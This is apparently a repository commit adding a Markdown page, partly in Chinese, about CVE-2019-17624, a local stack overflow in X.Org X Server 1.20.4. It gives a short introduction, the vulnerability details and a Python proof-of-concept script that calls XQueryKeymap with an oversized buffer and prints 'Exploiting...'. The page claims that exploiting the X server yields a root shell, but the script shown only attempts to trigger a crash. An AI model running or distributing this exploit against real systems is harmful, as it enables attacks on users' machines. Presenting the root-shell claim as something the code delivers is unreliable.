add CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC.md

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+## CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC
+
+**0x1 简单介绍**  
+
+X Server 是绝大对数[Linux](https://mrxn.net/tag/Linux)发行版和Unix系统的基础图形界面程序，是系统标配。而此程序也是以Root权限启动的，因而成功溢出它而获得的[shell](https://mrxn.net/tag/shell)，也是root权限。  
+
+**0x2 漏洞相关信息**  
+
+```
+# 时间: 2019-10-16
+ 
+# 作者: Marcelo Vázquez (s4vitar)
+ 
+# 厂商: https://www.x.org/
+ 
+# 版本: <= 1.20.4
+ 
+# 测试平台: Linux
+ 
+# CVE: CVE-2019-17624
+
+```
+
+ **0x3 POC**   
+
+```python
+#!/usr/bin/python
+#coding: utf-8
+ 
+# ************************************************************************
+# *                Author: Marcelo Vázquez (aka s4vitar)                 *
+# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
+# ************************************************************************
+ 
+import sys, time
+import ctypes as ct
+ 
+from ctypes import cast
+from ctypes.util import find_library
+ 
+def access_violation(x11, current_display):
+  keyboard = (ct.c_char * 1000)()
+  x11.XQueryKeymap(current_display, keyboard)
+ 
+if __name__ == '__main__':
+ 
+  print "\n[*] Loading x11...\n"
+  time.sleep(2)
+ 
+  x11 = ct.cdll.LoadLibrary(find_library("X11"))
+  current_display = x11.XOpenDisplay(None)
+ 
+  print "[*] Exploiting...\n"
+  time.sleep(1)
+ 
+  try:
+    access_violation(x11, current_display)
+ 
+  except:
+    print "\nError...\n"
+    sys.exit(1)
+```
+